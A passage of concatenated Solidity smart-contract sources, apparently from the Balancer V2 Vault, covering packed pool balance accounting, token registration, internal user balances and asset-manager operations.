// The 'cash' portion of the balance is stored in the least significant 112 bits of a 256 bit word, while the
// 'managed' part uses the following 112 bits. The most significant 32 bits are used to store the block
/**
* @dev Returns the total amount of Pool tokens, including those that are not currently in the Vault ('managed').
*/
function total(bytes32 balance) internal pure returns (uint256) {
// Since 'cash' and 'managed' are 112 bit values, we don't need checked arithmetic. Additionally, `toBalance`
// ensures that 'total' always fits in 112 bits.
return cash(balance) + managed(balance);
}
/**
* @dev Returns the amount of Pool tokens currently in the Vault.
*/
function cash(bytes32 balance) internal pure returns (uint256) {
uint256 mask = 2**(112) - 1;
return uint256(balance) & mask;
}
/**
* @dev Returns the amount of Pool tokens that are being managed by an Asset Manager.
*/
function managed(bytes32 balance) internal pure returns (uint256) {
uint256 mask = 2**(112) - 1;
return uint256(balance >> 112) & mask;
}
/**
* @dev Returns the last block when the total balance changed.
*/
function lastChangeBlock(bytes32 balance) internal pure returns (uint256) {
uint256 mask = 2**(32) - 1;
return uint256(balance >> 224) & mask;
}
/**
* @dev Returns the difference in 'managed' between two balances.
*/
function managedDelta(bytes32 newBalance, bytes32 oldBalance) internal pure returns (int256) {
// Because `managed` is a 112 bit value, we can safely perform unchecked arithmetic in 256 bits.
return int256(managed(newBalance)) - int256(managed(oldBalance));
}
/**
* @dev Returns the total balance for each entry in `balances`, as well as the latest block when the total
* balance of *any* of them last changed.
*/
function totalsAndLastChangeBlock(bytes32[] memory balances)
internal
pure
returns (
uint256[] memory results,
uint256 lastChangeBlock_ // Avoid shadowing
)
{
results = new uint256[](balances.length);
lastChangeBlock_ = 0;
for (uint256 i = 0; i < results.length; i++) {
bytes32 balance = balances[i];
results[i] = total(balance);
lastChangeBlock_ = Math.max(lastChangeBlock_, lastChangeBlock(balance));
}
}
/**
* @dev Returns true if `balance`'s 'total' balance is zero. Costs less gas than computing 'total' and comparing
* with zero.
*/
function isZero(bytes32 balance) internal pure returns (bool) {
// We simply need to check the least significant 224 bytes of the word: the block does not affect this.
uint256 mask = 2**(224) - 1;
return (uint256(balance) & mask) == 0;
}
/**
* @dev Returns true if `balance`'s 'total' balance is not zero. Costs less gas than computing 'total' and comparing
* with zero.
*/
function isNotZero(bytes32 balance) internal pure returns (bool) {
return !isZero(balance);
}
/**
* @dev Packs together `cash` and `managed` amounts with a block to create a balance value.
*
* For consistency, this also checks that the sum of `cash` and `managed` (`total`) fits in 112 bits.
*/
function toBalance(
uint256 _cash,
uint256 _managed,
uint256 _blockNumber
) internal pure returns (bytes32) {
uint256 _total = _cash + _managed;
// Since both 'cash' and 'managed' are positive integers, by checking that their sum ('total') fits in 112 bits
// we are also indirectly checking that both 'cash' and 'managed' themselves fit in 112 bits.
_require(_total >= _cash && _total < 2**112, Errors.BALANCE_TOTAL_OVERFLOW);
// We assume the block fits in 32 bits - this is expected to hold for at least a few decades.
return _pack(_cash, _managed, _blockNumber);
}
/**
* @dev Increases a Pool's 'cash' (and therefore its 'total'). Called when Pool tokens are sent to the Vault (except
* for Asset Manager deposits).
*
* Updates the last total balance change block, even if `amount` is zero.
*/
function increaseCash(bytes32 balance, uint256 amount) internal view returns (bytes32) {
uint256 newCash = cash(balance).add(amount);
uint256 currentManaged = managed(balance);
uint256 newLastChangeBlock = block.number;
return toBalance(newCash, currentManaged, newLastChangeBlock);
}
/**
* @dev Decreases a Pool's 'cash' (and therefore its 'total'). Called when Pool tokens are sent from the Vault
* (except for Asset Manager withdrawals).
*
* Updates the last total balance change block, even if `amount` is zero.
*/
function decreaseCash(bytes32 balance, uint256 amount) internal view returns (bytes32) {
uint256 newCash = cash(balance).sub(amount);
uint256 currentManaged = managed(balance);
uint256 newLastChangeBlock = block.number;
return toBalance(newCash, currentManaged, newLastChangeBlock);
}
/**
* @dev Moves 'cash' into 'managed', leaving 'total' unchanged. Called when an Asset Manager withdraws Pool tokens
* from the Vault.
*/
function cashToManaged(bytes32 balance, uint256 amount) internal pure returns (bytes32) {
uint256 newCash = cash(balance).sub(amount);
uint256 newManaged = managed(balance).add(amount);
uint256 currentLastChangeBlock = lastChangeBlock(balance);
return toBalance(newCash, newManaged, currentLastChangeBlock);
}
/**
* @dev Moves 'managed' into 'cash', leaving 'total' unchanged. Called when an Asset Manager deposits Pool tokens
* into the Vault.
*/
function managedToCash(bytes32 balance, uint256 amount) internal pure returns (bytes32) {
uint256 newCash = cash(balance).add(amount);
uint256 newManaged = managed(balance).sub(amount);
uint256 currentLastChangeBlock = lastChangeBlock(balance);
return toBalance(newCash, newManaged, currentLastChangeBlock);
}
/**
* @dev Sets 'managed' balance to an arbitrary value, changing 'total'. Called when the Asset Manager reports
* profits or losses. It's the Manager's responsibility to provide a meaningful value.
*
* Updates the last total balance change block, even if `newManaged` is equal to the current 'managed' value.
*/
function setManaged(bytes32 balance, uint256 newManaged) internal view returns (bytes32) {
uint256 currentCash = cash(balance);
uint256 newLastChangeBlock = block.number;
return toBalance(currentCash, newManaged, newLastChangeBlock);
}
// Alternative mode for Pools with the Two Token specialization setting
// Instead of storing cash and external for each 'token in' a single storage slot, Two Token Pools store the cash
// for both tokens in the same slot, and the managed for both in another one. This reduces the gas cost for swaps,
// because the only slot that needs to be updated is the one with the cash. However, it also means that managing
// balances is more cumbersome, as both tokens need to be read/written at the same time.
//
// The field with both cash balances packed is called sharedCash, and the one with external amounts is called
// sharedManaged. These two are collectively called the 'shared' balance fields. In both of these, the portion
// that corresponds to token A is stored in the least significant 112 bits of a 256 bit word, while token B's part
// uses the next least significant 112 bits.
//
// Because only cash is written to during a swap, we store the last total balance change block with the
// packed cash fields. Typically Pools have a distinct block per token: in the case of Two Token Pools they
// are the same.
/**
* @dev Extracts the part of the balance that corresponds to token A. This function can be used to decode both
* shared cash and managed balances.
*/
function _decodeBalanceA(bytes32 sharedBalance) private pure returns (uint256) {
uint256 mask = 2**(112) - 1;
return uint256(sharedBalance) & mask;
}
/**
* @dev Extracts the part of the balance that corresponds to token B. This function can be used to decode both
* shared cash and managed balances.
*/
function _decodeBalanceB(bytes32 sharedBalance) private pure returns (uint256) {
uint256 mask = 2**(112) - 1;
return uint256(sharedBalance >> 112) & mask;
}
// To decode the last balance change block, we can simply use the `blockNumber` function.
/**
* @dev Unpacks the shared token A and token B cash and managed balances into the balance for token A.
*/
function fromSharedToBalanceA(bytes32 sharedCash, bytes32 sharedManaged) internal pure returns (bytes32) {
// Note that we extract the block from the sharedCash field, which is the one that is updated by swaps.
// Both token A and token B use the same block
return toBalance(_decodeBalanceA(sharedCash), _decodeBalanceA(sharedManaged), lastChangeBlock(sharedCash));
}
/**
* @dev Unpacks the shared token A and token B cash and managed balances into the balance for token B.
*/
function fromSharedToBalanceB(bytes32 sharedCash, bytes32 sharedManaged) internal pure returns (bytes32) {
// Note that we extract the block from the sharedCash field, which is the one that is updated by swaps.
// Both token A and token B use the same block
return toBalance(_decodeBalanceB(sharedCash), _decodeBalanceB(sharedManaged), lastChangeBlock(sharedCash));
}
/**
* @dev Returns the sharedCash shared field, given the current balances for token A and token B.
*/
function toSharedCash(bytes32 tokenABalance, bytes32 tokenBBalance) internal pure returns (bytes32) {
// Both balances are assigned the same block Since it is possible a single one of them has changed (for
// example, in an Asset Manager update), we keep the latest (largest) one.
uint32 newLastChangeBlock = uint32(Math.max(lastChangeBlock(tokenABalance), lastChangeBlock(tokenBBalance)));
return _pack(cash(tokenABalance), cash(tokenBBalance), newLastChangeBlock);
}
/**
* @dev Returns the sharedManaged shared field, given the current balances for token A and token B.
*/
function toSharedManaged(bytes32 tokenABalance, bytes32 tokenBBalance) internal pure returns (bytes32) {
// We don't bother storing a last change block, as it is read from the shared cash field.
return _pack(managed(tokenABalance), managed(tokenBBalance), 0);
}
// Shared functions
/**
* @dev Packs together two uint112 and one uint32 into a bytes32
*/
function _pack(
uint256 _leastSignificant,
uint256 _midSignificant,
uint256 _mostSignificant
) private pure returns (bytes32) {
return bytes32((_mostSignificant << 224) + (_midSignificant << 112) + _leastSignificant);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/helpers/BalancerErrors.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "./AssetManagers.sol";
import "./PoolRegistry.sol";
import "./balances/BalanceAllocation.sol";
abstract contract PoolTokens is ReentrancyGuard, PoolRegistry, AssetManagers {
using BalanceAllocation for bytes32;
using BalanceAllocation for bytes32[];
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external override nonReentrant whenNotPaused onlyPool(poolId) {
InputHelpers.ensureInputLengthMatch(tokens.length, assetManagers.length);
// Validates token addresses and assigns Asset Managers
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
_require(token != IERC20(0), Errors.INVALID_TOKEN);
_poolAssetManagers[poolId][token] = assetManagers[i];
}
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
_require(tokens.length == 2, Errors.TOKENS_LENGTH_MUST_BE_2);
_registerTwoTokenPoolTokens(poolId, tokens[0], tokens[1]);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_registerMinimalSwapInfoPoolTokens(poolId, tokens);
} else {
// PoolSpecialization.GENERAL
_registerGeneralPoolTokens(poolId, tokens);
}
emit TokensRegistered(poolId, tokens, assetManagers);
}
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens)
external
override
nonReentrant
whenNotPaused
onlyPool(poolId)
{
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
_require(tokens.length == 2, Errors.TOKENS_LENGTH_MUST_BE_2);
_deregisterTwoTokenPoolTokens(poolId, tokens[0], tokens[1]);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_deregisterMinimalSwapInfoPoolTokens(poolId, tokens);
} else {
// PoolSpecialization.GENERAL
_deregisterGeneralPoolTokens(poolId, tokens);
}
// The deregister calls above ensure the total token balance is zero. Therefore it is now safe to remove any
// associated Asset Managers, since they hold no Pool balance.
for (uint256 i = 0; i < tokens.length; ++i) {
delete _poolAssetManagers[poolId][tokens[i]];
}
emit TokensDeregistered(poolId, tokens);
}
function getPoolTokens(bytes32 poolId)
external
view
override
withRegisteredPool(poolId)
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
)
{
bytes32[] memory rawBalances;
(tokens, rawBalances) = _getPoolTokens(poolId);
(balances, lastChangeBlock) = rawBalances.totalsAndLastChangeBlock();
}
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
override
withRegisteredPool(poolId)
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
)
{
bytes32 balance;
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
balance = _getTwoTokenPoolBalance(poolId, token);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
balance = _getMinimalSwapInfoPoolBalance(poolId, token);
} else {
// PoolSpecialization.GENERAL
balance = _getGeneralPoolBalance(poolId, token);
}
cash = balance.cash();
managed = balance.managed();
lastChangeBlock = balance.lastChangeBlock();
assetManager = _poolAssetManagers[poolId][token];
}
/**
* @dev Returns all of `poolId`'s registered tokens, along with their raw balances.
*/
function _getPoolTokens(bytes32 poolId) internal view returns (IERC20[] memory tokens, bytes32[] memory balances) {
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
return _getTwoTokenPoolTokens(poolId);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
return _getMinimalSwapInfoPoolTokens(poolId);
} else {
// PoolSpecialization.GENERAL
return _getGeneralPoolTokens(poolId);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/helpers/BalancerErrors.sol";
import "../lib/math/Math.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeCast.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./AssetTransfersHandler.sol";
import "./VaultAuthorization.sol";
/**
* Implement User Balance interactions, which combine Internal Balance and using the Vault's ERC20 allowance.
*
* Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
* transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
* when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
* gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
*
* Internal Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different senders and recipients, at once.
*/
abstract contract UserBalance is ReentrancyGuard, AssetTransfersHandler, VaultAuthorization {
using Math for uint256;
using SafeCast for uint256;
using SafeERC20 for IERC20;
// Internal Balance for each token, for each account.
mapping(address => mapping(IERC20 => uint256)) private _internalTokenBalance;
function getInternalBalance(address user, IERC20[] memory tokens)
external
view
override
returns (uint256[] memory balances)
{
balances = new uint256[](tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
balances[i] = _getInternalBalance(user, tokens[i]);
}
}
function manageUserBalance(UserBalanceOp[] memory ops) external payable override nonReentrant {
// We need to track how much of the received ETH was used and wrapped into WETH to return any excess.
uint256 ethWrapped = 0;
// Cache for these checks so we only perform them once (if at all).
bool checkedCallerIsRelayer = false;
bool checkedNotPaused = false;
for (uint256 i = 0; i < ops.length; i++) {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
// This destructuring by calling `_validateUserBalanceOp` seems odd, but results in reduced bytecode size.
(kind, asset, amount, sender, recipient, checkedCallerIsRelayer) = _validateUserBalanceOp(
ops[i],
checkedCallerIsRelayer
);
if (kind == UserBalanceOpKind.WITHDRAW_INTERNAL) {
// Internal Balance withdrawals can always be performed by an authorized account.
_withdrawFromInternalBalance(asset, sender, recipient, amount);
} else {
// All other operations are blocked if the contract is paused.
// We cache the result of the pause check and skip it for other operations in this same transaction
// (if any).
if (!checkedNotPaused) {
_ensureNotPaused();
checkedNotPaused = true;
}
if (kind == UserBalanceOpKind.DEPOSIT_INTERNAL) {
_depositToInternalBalance(asset, sender, recipient, amount);
// Keep track of all ETH wrapped into WETH as part of a deposit.
if (_isETH(asset)) {
ethWrapped = ethWrapped.add(amount);
}
} else {
// Transfers don't support ETH.
_require(!_isETH(asset), Errors.CANNOT_USE_ETH_SENTINEL);
IERC20 token = _asIERC20(asset);
if (kind == UserBalanceOpKind.TRANSFER_INTERNAL) {
_transferInternalBalance(token, sender, recipient, amount);
} else {
// TRANSFER_EXTERNAL
_transferToExternalBalance(token, sender, recipient, amount);
}
}
}
}
// Handle any remaining ETH.
_handleRemainingEth(ethWrapped);
}
function _depositToInternalBalance(
IAsset asset,
address sender,
address recipient,
uint256 amount
) private {
_increaseInternalBalance(recipient, _translateToIERC20(asset), amount);
_receiveAsset(asset, amount, sender, false);
}
function _withdrawFromInternalBalance(
IAsset asset,
address sender,
address payable recipient,
uint256 amount
) private {
// A partial decrease of Internal Balance is disallowed: `sender` must have the full `amount`.
_decreaseInternalBalance(sender, _translateToIERC20(asset), amount, false);
_sendAsset(asset, amount, recipient, false);
}
function _transferInternalBalance(
IERC20 token,
address sender,
address recipient,
uint256 amount
) private {
// A partial decrease of Internal Balance is disallowed: `sender` must have the full `amount`.
_decreaseInternalBalance(sender, token, amount, false);
_increaseInternalBalance(recipient, token, amount);
}
function _transferToExternalBalance(
IERC20 token,
address sender,
address recipient,
uint256 amount
) private {
if (amount > 0) {
token.safeTransferFrom(sender, recipient, amount);
emit ExternalBalanceTransfer(token, sender, recipient, amount);
}
}
/**
* @dev Increases `account`'s Internal Balance for `token` by `amount`.
*/
function _increaseInternalBalance(
address account,
IERC20 token,
uint256 amount
) internal override {
uint256 currentBalance = _getInternalBalance(account, token);
uint256 newBalance = currentBalance.add(amount);
_setInternalBalance(account, token, newBalance, amount.toInt256());
}
/**
* @dev Decreases `account`'s Internal Balance for `token` by `amount`. If `allowPartial` is true, this function
* doesn't revert if `account` doesn't have enough balance, and sets it to zero and returns the deducted amount
* instead.
*/
function _decreaseInternalBalance(
address account,
IERC20 token,
uint256 amount,
bool allowPartial
) internal override returns (uint256 deducted) {
uint256 currentBalance = _getInternalBalance(account, token);
_require(allowPartial || (currentBalance >= amount), Errors.INSUFFICIENT_INTERNAL_BALANCE);
deducted = Math.min(currentBalance, amount);
// By construction, `deducted` is lower or equal to `currentBalance`, so we don't need to use checked
// arithmetic.
uint256 newBalance = currentBalance - deducted;
_setInternalBalance(account, token, newBalance, -(deducted.toInt256()));
}
/**
* @dev Sets `account`'s Internal Balance for `token` to `newBalance`.
*
* Emits an `InternalBalanceChanged` event. This event includes `delta`, which is the amount the balance increased
* (if positive) or decreased (if negative). To avoid reading the current balance in order to compute the delta,
* this function relies on the caller providing it directly.
*/
function _setInternalBalance(
address account,
IERC20 token,
uint256 newBalance,
int256 delta
) private {
_internalTokenBalance[account][token] = newBalance;
emit InternalBalanceChanged(account, token, delta);
}
/**
* @dev Returns `account`'s Internal Balance for `token`.
*/
function _getInternalBalance(address account, IERC20 token) internal view returns (uint256) {
return _internalTokenBalance[account][token];
}
/**
* @dev Destructures a User Balance operation, validating that the contract caller is allowed to perform it.
*/
function _validateUserBalanceOp(UserBalanceOp memory op, bool checkedCallerIsRelayer)
private
view
returns (
UserBalanceOpKind,
IAsset,
uint256,
address,
address payable,
bool
)
{
// The only argument we need to validate is `sender`, which can only be either the contract caller, or a
// relayer approved by `sender`.
address sender = op.sender;
if (sender != msg.sender) {
// We need to check both that the contract caller is a relayer, and that `sender` approved them.
// Because the relayer check is global (i.e. independent of `sender`), we cache that result and skip it for
// other operations in this same transaction (if any).
if (!checkedCallerIsRelayer) {
_authenticateCaller();
checkedCallerIsRelayer = true;
}
_require(_hasApprovedRelayer(sender, msg.sender), Errors.USER_DOESNT_ALLOW_RELAYER);
}
return (op.kind, op.asset, op.amount, sender, op.recipient, checkedCallerIsRelayer);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IVault.sol";
import "./IPoolSwapStructs.sol";
/**
* @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not
* the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from
* either IGeneralPool or IMinimalSwapInfoPool
*/
interface IBasePool is IPoolSwapStructs {
/**
* @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of
* each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault.
* The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect
* the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`.
*
* Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join.
*
* `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account
* designated to receive any benefits (typically pool shares). `currentBalances` contains the total balances
* for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as minting pool shares.
*/
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts);
/**
* @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many
* tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes
* to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`,
* as well as collect the reported amount in protocol fees, which the Pool should calculate based on
* `protocolSwapFeePercentage`.
*
* Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share.
*
* `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account
* to which the Vault will send the proceeds. `currentBalances` contains the total token balances for each token
* the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as burning pool shares.
*/
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/Math.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "./UserBalance.sol";
import "./balances/BalanceAllocation.sol";
import "./balances/GeneralPoolsBalance.sol";
import "./balances/MinimalSwapInfoPoolsBalance.sol";
import "./balances/TwoTokenPoolsBalance.sol";
abstract contract AssetManagers is
ReentrancyGuard,
GeneralPoolsBalance,
MinimalSwapInfoPoolsBalance,
TwoTokenPoolsBalance
{
using Math for uint256;
using SafeERC20 for IERC20;
// Stores the Asset Manager for each token of each Pool.
mapping(bytes32 => mapping(IERC20 => address)) internal _poolAssetManagers;
function managePoolBalance(PoolBalanceOp[] memory ops) external override nonReentrant whenNotPaused {
// This variable could be declared inside the loop, but that causes the compiler to allocate memory on each
// loop iteration, increasing gas costs.
PoolBalanceOp memory op;
for (uint256 i = 0; i < ops.length; ++i) {
// By indexing the array only once, we don't spend extra gas in the same bounds check.
op = ops[i];
bytes32 poolId = op.poolId;
_ensureRegisteredPool(poolId);
IERC20 token = op.token;
_require(_isTokenRegistered(poolId, token), Errors.TOKEN_NOT_REGISTERED);
_require(_poolAssetManagers[poolId][token] == msg.sender, Errors.SENDER_NOT_ASSET_MANAGER);
PoolBalanceOpKind kind = op.kind;
uint256 amount = op.amount;
(int256 cashDelta, int256 managedDelta) = _performPoolManagementOperation(kind, poolId, token, amount);
emit PoolBalanceManaged(poolId, msg.sender, token, cashDelta, managedDelta);
}
}
/**
* @dev Performs the `kind` Asset Manager operation on a Pool.
*
* Withdrawals will transfer `amount` tokens to the caller, deposits will transfer `amount` tokens from the caller,
* and updates will set the managed balance to `amount`.
*
* Returns a tuple with the 'cash' and 'managed' balance deltas as a result of this call.
*/
function _performPoolManagementOperation(
PoolBalanceOpKind kind,
bytes32 poolId,
IERC20 token,
uint256 amount
) private returns (int256, int256) {
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (kind == PoolBalanceOpKind.WITHDRAW) {
return _withdrawPoolBalance(poolId, specialization, token, amount);
} else if (kind == PoolBalanceOpKind.DEPOSIT) {
return _depositPoolBalance(poolId, specialization, token, amount);
} else {
// PoolBalanceOpKind.UPDATE
return _updateManagedBalance(poolId, specialization, token, amount);
}
}
/**
* @dev Moves `amount` tokens from a Pool's 'cash' to 'managed' balance, and transfers them to the caller.
*
* Returns the 'cash' and 'managed' balance deltas as a result of this call, which will be complementary.
*/
function _withdrawPoolBalance(
bytes32 poolId,
PoolSpecialization specialization,
IERC20 token,
uint256 amount
) private returns (int256 cashDelta, int256 managedDelta) {
if (specialization == PoolSpecialization.TWO_TOKEN) {
_twoTokenPoolCashToManaged(poolId, token, amount);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_minimalSwapInfoPoolCashToManaged(poolId, token, amount);
} else {
// PoolSpecialization.GENERAL
_generalPoolCashToManaged(poolId, token, amount);
}
if (amount > 0) {
token.safeTransfer(msg.sender, amount);
}
// Since 'cash' and 'managed' are stored as uint112, `amount` is guaranteed to also fit in 112 bits. It will
// therefore always fit in a 256 bit integer.
cashDelta = int256(-amount);
managedDelta = int256(amount);
}
/**
* @dev Moves `amount` tokens from a Pool's 'managed' to 'cash' balance, and transfers them from the caller.
*
* Returns the 'cash' and 'managed' balance deltas as a result of this call, which will be complementary.
*/
function _depositPoolBalance(
bytes32 poolId,
PoolSpecialization specialization,
IERC20 token,
uint256 amount
) private returns (int256 cashDelta, int256 managedDelta) {
if (specialization == PoolSpecialization.TWO_TOKEN) {
_twoTokenPoolManagedToCash(poolId, token, amount);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_minimalSwapInfoPoolManagedToCash(poolId, token, amount);
} else {
// PoolSpecialization.GENERAL
_generalPoolManagedToCash(poolId, token, amount);
}
if (amount > 0) {
token.safeTransferFrom(msg.sender, address(this), amount);
}
// Since 'cash' and 'managed' are stored as uint112, `amount` is guaranteed to also fit in 112 bits. It will
// therefore always fit in a 256 bit integer.
cashDelta = int256(amount);
managedDelta = int256(-amount);
}
/**
* @dev Sets a Pool's 'managed' balance to `amount`.
*
* Returns the 'cash' and 'managed' balance deltas as a result of this call (the 'cash' delta will always be zero).
*/
function _updateManagedBalance(
bytes32 poolId,
PoolSpecialization specialization,
IERC20 token,
uint256 amount
) private returns (int256 cashDelta, int256 managedDelta) {
if (specialization == PoolSpecialization.TWO_TOKEN) {
managedDelta = _setTwoTokenPoolManagedBalance(poolId, token, amount);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
managedDelta = _setMinimalSwapInfoPoolManagedBalance(poolId, token, amount);
} else {
// PoolSpecialization.GENERAL
managedDelta = _setGeneralPoolManagedBalance(poolId, token, amount);
}
cashDelta = 0;
}
/**
* @dev Returns true if `token` is registered for `poolId`.
*/
function _isTokenRegistered(bytes32 poolId, IERC20 token) private view returns (bool) {
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
return _isTwoTokenPoolTokenRegistered(poolId, token);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
return _isMinimalSwapInfoPoolTokenRegistered(poolId, token);
} else {
// PoolSpecialization.GENERAL
return _isGeneralPoolTokenRegistered(poolId, token);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/helpers/BalancerErrors.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "./VaultAuthorization.sol";
/**
* @dev Maintains the Pool ID data structure, implements Pool ID creation and registration, and defines useful modifiers
* and helper functions for ensuring correct behavior when working with Pools.
*/
abstract contract PoolRegistry is ReentrancyGuard, VaultAuthorization {
// Each pool is represented by their unique Pool ID. We use `bytes32` for them, for lack of a way to define new
// types.
mapping(bytes32 => bool) private _isPoolRegistered;
// We keep an increasing nonce to make Pool IDs unique. It is interpreted as a `uint80`, but storing it as a
// `uint256` results in reduced bytecode on reads and writes due to the lack of masking.
uint256 private _nextPoolNonce;
/**
* @dev Reverts unless `poolId` corresponds to a registered Pool.
*/
modifier withRegisteredPool(bytes32 poolId) {
_ensureRegisteredPool(poolId);
_;
}
/**
* @dev Reverts unless `poolId` corresponds to a registered Pool, and the caller is the Pool's contract.
*/
modifier onlyPool(bytes32 poolId) {
_ensurePoolIsSender(poolId);
_;
}
/**
* @dev Reverts unless `poolId` corresponds to a registered Pool.
*/
function _ensureRegisteredPool(bytes32 poolId) internal view {
